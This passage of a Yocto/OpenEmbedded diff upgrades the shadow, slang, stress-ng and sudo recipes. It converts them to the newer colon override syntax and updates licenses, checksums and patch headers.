177ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr" 201ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
178ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin" 202ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
179 203
180ALTERNATIVE_${PN}-base = "newgrp groups login su" 204ALTERNATIVE:${PN}-doc = "chfn.1 chsh.1"
205ALTERNATIVE_LINK_NAME[chfn.1] = "${mandir}/man1/chfn.1"
206ALTERNATIVE_LINK_NAME[chsh.1] = "${mandir}/man1/chsh.1"
207
208ALTERNATIVE:${PN}-base = "newgrp groups login su"
181ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login" 209ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
182ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su" 210ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
183 211
184ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
185ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
186ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
187ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
188ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
189ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
190
191PACKAGE_WRITE_DEPS += "shadow-native" 212PACKAGE_WRITE_DEPS += "shadow-native"
192pkg_postinst_${PN}_class-target () { 213pkg_postinst:${PN}:class-target () {
193 if [ "x$D" != "x" ]; then 214 if [ "x$D" != "x" ]; then
194 rootarg="--root $D" 215 rootarg="--root $D"
195 else 216 else
diff --git a/meta/recipes-extended/shadow/shadow_4.15.0.bb b/meta/recipes-extended/shadow/shadow_4.15.0.bb
new file mode 100644
index 0000000000..e57676c1da
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.15.0.bb
@@ -0,0 +1,10 @@
1require shadow.inc
2
3# Build falsely assumes that if --enable-libpam is set, we don't need to link against
4# libcrypt. This breaks chsh.
5BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
6
7BBCLASSEXTEND = "native nativesdk"
8
9# https://bugzilla.redhat.com/show_bug.cgi?id=884658
10CVE_STATUS[CVE-2013-4235] = "upstream-wontfix: Severity is low and marked as closed and won't fix."
diff --git a/meta/recipes-extended/shadow/shadow_4.8.1.bb b/meta/recipes-extended/shadow/shadow_4.8.1.bb
deleted file mode 100644
index c975395ff8..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.8.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
1require shadow.inc
2
3# Build falsely assumes that if --enable-libpam is set, we don't need to link against
4# libcrypt. This breaks chsh.
5BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
6
7BBCLASSEXTEND = "native nativesdk"
8
9
10
diff --git a/meta/recipes-extended/slang/slang/dont-link-to-host.patch b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
index 42dba0fae4..4b02068991 100644
--- a/meta/recipes-extended/slang/slang/dont-link-to-host.patch
+++ b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
@@ -1,3 +1,8 @@
1From b4a6e3c8309cff0f2311cd959c5091213b633851 Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@intel.com>
3Date: Tue, 7 Feb 2017 14:35:43 +0000
4Subject: [PATCH] slang: rewrite recipe to run autoconf
5
1SLANG_INST_LIB is the location of where slang will end up, but when building for 6SLANG_INST_LIB is the location of where slang will end up, but when building for
2packaging this doesn't have DESTDIR appended so can potentially link to the host 7packaging this doesn't have DESTDIR appended so can potentially link to the host
3for cross builds and will trigger QA errors. 8for cross builds and will trigger QA errors.
@@ -7,10 +12,20 @@ As this is obviously wrong, delete it.
7Upstream-Status: Pending 12Upstream-Status: Pending
8Signed-off-by: Ross Burton <ross.burton@intel.com> 13Signed-off-by: Ross Burton <ross.burton@intel.com>
9 14
15---
16 slsh/Makefile.in | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
10diff --git a/slsh/Makefile.in b/slsh/Makefile.in 19diff --git a/slsh/Makefile.in b/slsh/Makefile.in
11index cba9d81..4c1c370 100644 20index addd343..63a5c9b 100644
12--- a/slsh/Makefile.in 21--- a/slsh/Makefile.in
13+++ b/slsh/Makefile.in 22+++ b/slsh/Makefile.in
14@@ -80 +80 @@ SHELL = /bin/sh 23@@ -77,7 +77,7 @@ SLSYSWRAP_LIB = @LIB_SLSYSWRAP@
15-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS) 24 #----------------------------------------------------------------------------
16+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS) 25 @SET_MAKE@
26 SHELL = /bin/sh
27-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
28+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
29 DEFS = -DSLSH_CONF_DIR='"$(SLSH_CONF_DIR)"' -DSLSH_PATH='"$(SLSH_LIB_DIR)"' \
30 -DSLSH_CONF_DIR_ENV='$(SLSH_CONF_DIR_ENV)' -DSLSH_LIB_DIR_ENV='$(SLSH_LIB_DIR_ENV)' \
31 -DSLSH_PATH_ENV='$(SLSH_PATH_ENV)' $(SLSYSWRAP_DEF)
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..331b7f02e4 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -1,15 +1,30 @@
1From 2a75095638002d37a2f9c7aeb0ec54f271b0a1c4 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Tue, 1 Aug 2017 12:36:53 -0700
4Subject: [PATCH] slang: fix terminfo related problems
5
1Do not use the JD_TERMCAP macro since we cannot get the terminfo from 6Do not use the JD_TERMCAP macro since we cannot get the terminfo from
2ncurses pkg-config, but fix the macro to not reference host directories. 7ncurses pkg-config, but fix the macro to not reference host directories.
3Also add src/test/Makefile.in so that we can use -ltermcap if we want to. 8Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
4 9
5Upstream-Status: Pending 10Upstream isn't going to take this, as it forces blank values and
11removes functionality without replacing it.
12Upstream-Status: Inappropriate [see above]
6 13
7Signed-off-by: Joe Slater <joe.slater@windriver.com> 14Signed-off-by: Joe Slater <joe.slater@windriver.com>
8 15
16---
17 autoconf/aclocal.m4 | 8 +---
18 autoconf/configure.ac | 11 +++++-
19 src/test/Makefile.in | 90 +++++++++++++++++++++++++++++++++++++++++++
20 3 files changed, 100 insertions(+), 9 deletions(-)
21 create mode 100644 src/test/Makefile.in
9 22
23diff --git a/autoconf/aclocal.m4 b/autoconf/aclocal.m4
24index b2dfcd3..5f94ed3 100644
10--- a/autoconf/aclocal.m4 25--- a/autoconf/aclocal.m4
11+++ b/autoconf/aclocal.m4 26+++ b/autoconf/aclocal.m4
12@@ -506,14 +506,10 @@ then 27@@ -509,15 +509,9 @@ then
13 else 28 else
14 MISC_TERMINFO_DIRS="" 29 MISC_TERMINFO_DIRS=""
15 fi 30 fi
@@ -17,8 +32,8 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
17- /usr/lib/terminfo \ 32- /usr/lib/terminfo \
18- /usr/share/terminfo \ 33- /usr/share/terminfo \
19- /usr/share/lib/terminfo \ 34- /usr/share/lib/terminfo \
20- /usr/local/lib/terminfo" 35- /usr/local/lib/terminfo \
21+ 36- /etc/terminfo /lib/terminfo"
22 TERMCAP=-ltermcap 37 TERMCAP=-ltermcap
23 38
24-for terminfo_dir in $JD_Terminfo_Dirs 39-for terminfo_dir in $JD_Terminfo_Dirs
@@ -26,9 +41,11 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
26 do 41 do
27 if test -d $terminfo_dir 42 if test -d $terminfo_dir
28 then 43 then
44diff --git a/autoconf/configure.ac b/autoconf/configure.ac
45index 8e11e13..9e6402c 100644
29--- a/autoconf/configure.ac 46--- a/autoconf/configure.ac
30+++ b/autoconf/configure.ac 47+++ b/autoconf/configure.ac
31@@ -249,7 +249,14 @@ AC_CHECK_SIZEOF(size_t) 48@@ -250,7 +250,14 @@ AC_CHECK_SIZEOF(size_t)
32 JD_CHECK_LONG_LONG 49 JD_CHECK_LONG_LONG
33 JD_LARGE_FILE_SUPPORT 50 JD_LARGE_FILE_SUPPORT
34 51
@@ -44,7 +61,7 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
44 JD_GCC_WARNINGS 61 JD_GCC_WARNINGS
45 62
46 JD_SET_OBJ_SRC_DIR(src) 63 JD_SET_OBJ_SRC_DIR(src)
47@@ -364,7 +371,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/confi 64@@ -365,7 +372,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/config.hin)
48 dnl AC_CONFIG_SUBDIRS(demo) 65 dnl AC_CONFIG_SUBDIRS(demo)
49 66
50 AC_OUTPUT(Makefile:autoconf/Makefile.in \ 67 AC_OUTPUT(Makefile:autoconf/Makefile.in \
@@ -53,6 +70,9 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
53 slang.pc:autoconf/slangpc.in \ 70 slang.pc:autoconf/slangpc.in \
54 ) 71 )
55 72
73diff --git a/src/test/Makefile.in b/src/test/Makefile.in
74new file mode 100644
75index 0000000..4b7307f
56--- /dev/null 76--- /dev/null
57+++ b/src/test/Makefile.in 77+++ b/src/test/Makefile.in
58@@ -0,0 +1,90 @@ 78@@ -0,0 +1,90 @@
diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.3.bb
index 99efb16da6..05b8aff0f2 100644
--- a/meta/recipes-extended/slang/slang_2.3.2.bb
+++ b/meta/recipes-extended/slang/slang_2.3.3.bb
@@ -11,7 +11,7 @@ HOMEPAGE = "http://www.jedsoft.org/slang/"
11SECTION = "libs" 11SECTION = "libs"
12DEPENDS = "ncurses virtual/libiconv" 12DEPENDS = "ncurses virtual/libiconv"
13 13
14LICENSE = "GPLv2" 14LICENSE = "GPL-2.0-only"
15LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02" 15LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
16 16
17SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \ 17SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
@@ -23,11 +23,10 @@ SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
23 file://run-ptest \ 23 file://run-ptest \
24 " 24 "
25 25
26SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb" 26SRC_URI[sha256sum] = "f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18"
27SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a"
28 27
29UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/" 28UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
30PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n" 29PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
31 30
32inherit autotools-brokensep ptest 31inherit autotools-brokensep ptest
33CLEANBROKEN = "1" 32CLEANBROKEN = "1"
@@ -42,7 +41,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p
42PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng" 41PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
43PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib" 42PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
44 43
45do_configure_prepend() { 44do_configure:prepend() {
46 cd ${S}/autoconf 45 cd ${S}/autoconf
47 # slang keeps configure.ac and rest of autoconf files in autoconf/ directory 46 # slang keeps configure.ac and rest of autoconf files in autoconf/ directory
48 # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac} 47 # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
@@ -74,9 +73,9 @@ do_install_ptest() {
74 sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl 73 sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
75} 74}
76 75
77FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/" 76FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
78 77
79RDEPENDS_${PN}-ptest += "make" 78RDEPENDS:${PN}-ptest += "make"
80 79
81PARALLEL_MAKE = "" 80PARALLEL_MAKE = ""
82PARALLEL_MAKEINST = "" 81PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
deleted file mode 100644
index c860c717ac..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
+++ /dev/null
@@ -1,23 +0,0 @@
1From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Tue, 30 Jul 2019 18:38:03 +0200
4Subject: [PATCH] Do not preserve ownership when installing example jobs
5
6Upstream-Status: Pending
7Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
8---
9 Makefile | 2 +-
10 1 file changed, 1 insertion(+), 1 deletion(-)
11
12diff --git a/Makefile b/Makefile
13index f36e57e..20488af 100644
14--- a/Makefile
15+++ b/Makefile
16@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz
17 mkdir -p ${DESTDIR}${MANDIR}
18 cp stress-ng.1.gz ${DESTDIR}${MANDIR}
19 mkdir -p ${DESTDIR}${JOBDIR}
20- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR}
21+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR}
22 mkdir -p ${DESTDIR}${BASHDIR}
23 cp bash-completion/stress-ng ${DESTDIR}${BASHDIR}
diff --git a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch b/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
deleted file mode 100644
index dba4494b91..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From 55e11765af2bdc8adfac87dab1fb2682f7e6c236 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 9 Jun 2020 22:10:28 -0700
4Subject: [PATCH] Define daddr_t if __DADDR_T_TYPE is not defined
5
6glibc defined daddr_t but musl does not, ideally it should not be used
7and simple int type is enough. However, its better to leave glibc behavior
8as it is and only define it to int if daddr_t is not provided by libc
9
10Upstream-Status: Pending
11
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13
14---
15 stress-ng.h | 4 ++++
16 1 file changed, 4 insertions(+)
17
18diff --git a/stress-ng.h b/stress-ng.h
19index 1a66293..802dc25 100644
20--- a/stress-ng.h
21+++ b/stress-ng.h
22@@ -3763,6 +3763,10 @@ struct shim_statx {
23 uint64_t __spare2[14];
24 };
25
26+#ifndef __DADDR_T_TYPE
27+typedef int daddr_t;
28+#endif
29+
30 /* old ustat struct */
31 struct shim_ustat {
32 #if defined(HAVE_DADDR_T)
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.12.03.bb b/meta/recipes-extended/stress-ng/stress-ng_0.12.03.bb
deleted file mode 100644
index 73539c9268..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.12.03.bb
+++ /dev/null
@@ -1,27 +0,0 @@
1SUMMARY = "System load testing utility"
2DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
3imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
4HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/"
5LICENSE = "GPLv2"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
7
8SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \
9 file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \
10 file://no_daddr_t.patch \
11 "
12SRC_URI[sha256sum] = "f27ff439b76a17641291d4234c73655cddcb0a5a588441d6ade290b06ca4b805"
13
14DEPENDS = "coreutils-native"
15
16PROVIDES = "stress"
17RPROVIDES_${PN} = "stress"
18RREPLACES_${PN} = "stress"
19RCONFLICTS_${PN} = "stress"
20
21inherit bash-completion
22
23do_install() {
24 oe_runmake DESTDIR=${D} install
25 ln -s stress-ng ${D}${bindir}/stress
26}
27
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb b/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb
new file mode 100644
index 0000000000..fb88e06a7f
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb
@@ -0,0 +1,36 @@
1SUMMARY = "System load testing utility"
2DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
3imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
4HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
5LICENSE = "GPL-2.0-only"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
7
8SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master \
9 "
10SRCREV = "519151f460738cd62b69b84f8096cd218131e0a2"
11S = "${WORKDIR}/git"
12
13DEPENDS = "coreutils-native libbsd"
14
15PROVIDES = "stress"
16RPROVIDES:${PN} = "stress"
17RREPLACES:${PN} = "stress"
18RCONFLICTS:${PN} = "stress"
19
20inherit bash-completion
21
22EXTRA_OEMAKE = "VERBOSE=1"
23
24do_configure() {
25 mkdir -p configs
26 touch configs/HAVE_APPARMOR
27 oe_runmake makeconfig
28}
29
30do_install() {
31 oe_runmake DESTDIR=${D} BINDIR=${bindir} install
32 ln -s stress-ng ${D}${bindir}/stress
33}
34
35# upstream issue: https://github.com/ColinIanKing/stress-ng/issues/315
36DEBUG_BUILD = "0"
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
index f7ccfdd623..041c717e00 100644
--- a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -1,4 +1,7 @@
1sudo.conf.in: fix conflict with multilib 1From 6e835350b7413210c410d3578cfab804186b7a4f Mon Sep 17 00:00:00 2001
2From: Kai Kang <kai.kang@windriver.com>
3Date: Tue, 17 Nov 2020 11:13:40 +0800
4Subject: [PATCH] sudo.conf.in: fix conflict with multilib
2 5
3When pass ${libdir} to --libexecdir of sudo, it fails to install sudo 6When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
4and lib32-sudo at same time: 7and lib32-sudo at same time:
@@ -12,12 +15,13 @@ Update the comments in sudo.conf.in to avoid the conflict.
12Signed-off-by: Kai Kang <kai.kang@windriver.com> 15Signed-off-by: Kai Kang <kai.kang@windriver.com>
13 16
14Upstream-Status: Inappropriate [OE configuration specific] 17Upstream-Status: Inappropriate [OE configuration specific]
18
15--- 19---
16 examples/sudo.conf.in | 6 +++--- 20 examples/sudo.conf.in | 8 ++++----
17 1 file changed, 3 insertions(+), 3 deletions(-) 21 1 file changed, 4 insertions(+), 4 deletions(-)
18 22
19diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in 23diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
20index 19e33ff..af78235 100644 24index 2187457..0908d24 100644
21--- a/examples/sudo.conf.in 25--- a/examples/sudo.conf.in
22+++ b/examples/sudo.conf.in 26+++ b/examples/sudo.conf.in
23@@ -4,7 +4,7 @@ 27@@ -4,7 +4,7 @@
@@ -29,16 +33,25 @@ index 19e33ff..af78235 100644
29 # fully qualified. 33 # fully qualified.
30 # The plugin_name corresponds to a global symbol in the plugin 34 # The plugin_name corresponds to a global symbol in the plugin
31 # that contains the plugin interface structure. 35 # that contains the plugin interface structure.
32@@ -50,7 +50,7 @@ Plugin sudoers_audit sudoers.so 36@@ -51,7 +51,7 @@
37 # The compiled-in value is usually sufficient and should only be changed
38 # if you rename or move the sudo_intercept.so file.
39 #
40-#Path intercept @intercept_file@
41+#Path intercept $intercept_file
42
43 #
44 # Sudo noexec:
45@@ -65,7 +65,7 @@
33 # The compiled-in value is usually sufficient and should only be changed 46 # The compiled-in value is usually sufficient and should only be changed
34 # if you rename or move the sudo_noexec.so file. 47 # if you rename or move the sudo_noexec.so file.
35 # 48 #
36-#Path noexec @plugindir@/sudo_noexec.so 49-#Path noexec @noexec_file@
37+#Path noexec $plugindir/sudo_noexec.so 50+#Path noexec $noexec_file
38 51
39 # 52 #
40 # Sudo plugin directory: 53 # Sudo plugin directory:
41@@ -59,7 +59,7 @@ Plugin sudoers_audit sudoers.so 54@@ -74,7 +74,7 @@
42 # The default directory to use when searching for plugins that are 55 # The default directory to use when searching for plugins that are
43 # specified without a fully qualified path name. 56 # specified without a fully qualified path name.
44 # 57 #
@@ -46,7 +59,4 @@ index 19e33ff..af78235 100644
46+#Path plugin_dir $plugindir 59+#Path plugin_dir $plugindir
47 60
48 # 61 #
49 # Sudo developer mode: 62 # Core dumps:
50--
512.17.1
52
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 97ecabe0fc..feb1cf35a7 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
@@ -3,12 +3,11 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
3HOMEPAGE = "http://www.sudo.ws" 3HOMEPAGE = "http://www.sudo.ws"
4BUGTRACKER = "http://www.sudo.ws/bugs/" 4BUGTRACKER = "http://www.sudo.ws/bugs/"
5SECTION = "admin" 5SECTION = "admin"
6LICENSE = "ISC & BSD & Zlib" 6LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
7LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=fdff64d4fd19126330aa81b94d167173 \ 7LIC_FILES_CHKSUM = "file://LICENSE.md;md5=5100e20d35f9015f9eef6bdb27ba194f \
8 file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \ 8 file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
9 file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \ 9 file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
10 file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \ 10 file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
11 file://lib/util/getcwd.c;beginline=2;endline=27;md5=50f8d9667750e18dea4e84a935c12009 \
12 file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \ 11 file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
13 file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \ 12 file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
14 file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \ 13 file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
@@ -23,22 +22,20 @@ inherit autotools
23PACKAGECONFIG ??= "" 22PACKAGECONFIG ??= ""
24PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib" 23PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
25PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel" 24PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
26 25PACKAGECONFIG[audit] = "--with-linux-audit,--without-linux-audit,audit"
27CONFFILES_${PN} = "${sysconfdir}/sudoers" 26PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
28 27
29EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor" 28EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
30 29
31EXTRA_OECONF_append_libc-musl = " --disable-hardening " 30EXTRA_OECONF:append:libc-musl = " --disable-hardening "
32 31
33# mksigname/mksiglist are used on build host to generate source files 32do_compile:prepend () {
34do_compile_prepend () { 33 # Remove build host references from config.h
35 # Remove build host references from sudo_usage.h 34 sed -i \
36 sed -i \ 35 -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
37 -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \ 36 -e 's,--build=${BUILD_SYS},,g' \
38 -e 's,--build=${BUILD_SYS},,g' \ 37 -e 's,--host=${HOST_SYS},,g' \
39 -e 's,--host=${HOST_SYS},,g' \ 38 ${B}/config.h
40 ${B}/src/sudo_usage.h
41 oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
42} 39}
43 40
44# Explicitly create ${localstatedir}/lib before do_install to ensure 41# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -46,6 +43,8 @@ do_compile_prepend () {
46# script (from sudo) will recursively create ${localstatedir}/lib/sudo 43# script (from sudo) will recursively create ${localstatedir}/lib/sudo
47# and then chmod each directory with 0700 permissions, which isn't what 44# and then chmod each directory with 0700 permissions, which isn't what
48# we want (i.e, users would not be able to access /var/lib). 45# we want (i.e, users would not be able to access /var/lib).
49do_install_prepend (){ 46do_install:prepend (){
50 mkdir -p ${D}/${localstatedir}/lib 47 mkdir -p ${D}/${localstatedir}/lib
51} 48}
49
50CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.5p2.bb b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
index ca23e94ace..8e542015ad 100644
--- a/meta/recipes-extended/sudo/sudo_1.9.5p2.bb
+++ b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
@@ -7,10 +7,10 @@ SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
7 7
8PAM_SRC_URI = "file://sudo.pam" 8PAM_SRC_URI = "file://sudo.pam"
9 9
10SRC_URI[sha256sum] = "539e2ef43c8a55026697fb0474ab6a925a11206b5aa58710cb42a0e1c81f0978" 10SRC_URI[sha256sum] = "558d10b9a1991fb3b9fa7fa7b07ec4405b7aefb5b3cb0b0871dbc81e3a88e558"
11 11
12DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" 12DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
13RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}" 13RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
14 14
15CACHED_CONFIGUREVARS = " \ 15CACHED_CONFIGUREVARS = " \
16 ac_cv_type_rsize_t=no \ 16 ac_cv_type_rsize_t=no \
@@ -28,7 +28,7 @@ EXTRA_OECONF += " \
28 --libexecdir=${libdir} \ 28 --libexecdir=${libdir} \
29 " 29 "
30 30
31do_install_append () { 31do_install:append () {
32 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then 32 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
33 install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo 33 install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
34 if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then 34 if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
